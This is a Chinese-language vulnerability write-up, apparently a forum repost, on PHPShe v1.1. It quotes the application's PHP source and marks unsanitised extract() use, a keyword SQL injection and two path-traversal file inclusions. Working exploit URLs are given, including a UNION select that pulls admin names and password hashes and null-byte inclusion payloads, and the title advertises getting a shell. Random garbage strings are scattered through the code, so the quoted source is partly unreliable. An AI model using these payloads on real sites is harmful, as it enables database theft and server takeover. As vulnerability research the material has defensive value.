phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
# i1 G$ a% _: j3 U  Y' u/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
, ?5 v( j2 x  [* C2 \* _4 T, V/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
5 r/ v3 N* R" ^. I7 z* delse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
  h+ C( Y: I# K# [) ?1 M!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
! o: E+ v! S9 V4 r. M2 ~!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
% m" Q3 n* T# Z! y9 e
0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
8 R# A+ I+ |- A( }; npe_result();
+ H/ l+ Y0 a2 ~# x?>
//common 文件 第15行开始
! u( M% m. h( ^0 s" k8 S( Eurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
% n) c1 B6 x" @  j& C3 B$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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- ^$ y2 N  O$ s9 y 0×02 搜索注入

<code id="code2">

//product.php文件
3 N/ M2 e, N1 q) Ucase 'list':
$category_id = intval($id);
5 M0 {6 t/ G* Z8 L1 w$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
4 ?$ b5 |) A9 Y8 R$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
* a, F/ u+ Z7 y3 I& ]0 [! bif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
5 _4 d$ {' B6 l! z1 ~  m0 n  j}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
# v1 u' a* q8 L! ]9 f- K, n& t7 b4 S! b$orderby = explode('_', $_g_orderby);
! A* [0 ?# i, R4 ]+ h0 _( C$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, l! B9 n7 ?0 e6 v2 f}
; A- @9 N/ Z4 nelse {
0 {, K: ^/ G; N* e9 U3 T$ q$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
0 C" R5 N" j! B: q: x' ~$ E$nowpath = category_path($category_id);
9 {1 {6 @  d% p/ k$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
, i8 l$ O) c$ g# I//跟进selectall函数库
* H+ ?( _+ P) h9 w+ x. N( t( kpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
; O* A% h$ d1 x/ U! C% O6 G" ?2 T, y//处理条件语句
. y. U; Z3 M* L6 U( r4 ^6 p( Z$sqlwhere = $this->_dowhere($where);
8 w4 y8 j/ i4 z2 D3 T+ Preturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

, C9 h. D. i$ m9 o# j3 ^' @$cache_payway = cache::get('payway');

0 ~2 e$ ^4 B! ?& mforeach($cache_payway as $k => $v) {

7 j6 c$ B  f) S7 \7 l1 ^, \$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

( M. `3 m" N3 C6 S$ @if (isset($_p_pesubmit)) {

; j3 J0 K0 b  z, |4 Yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

/ C% x- t& O4 o# V8 p1 u$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

- n$ R. E# A9 n# c8 i  n# j$order['order_name'] .= "{$v['product_name']};";

4 S4 v4 u0 {. U. S9 F7 c}

+ f$ d& G2 M. P0 W. n1 N, [echo '正在为您连接支付网站，请稍后...';

9 c" B# ~% m9 M; n  \2 u8 h) L) minclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

% `$ X. a! E& S* g}//当一切准备好的时候就可以进行"鸡肋包含了"

7 e3 p2 U  C( k3 xelse {

5 j. {  g2 I  \; Q$ s7 e4 o; l" Z2 `+ ape_error('支付错误...');

}

, a& }- k4 N, q}

$seo = pe_seo('选择支付方式');

7 J  }# M" X8 @include(pe_tpl('order_pay.html'));

' O# B9 j7 i; O0 i7 J6 Rbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>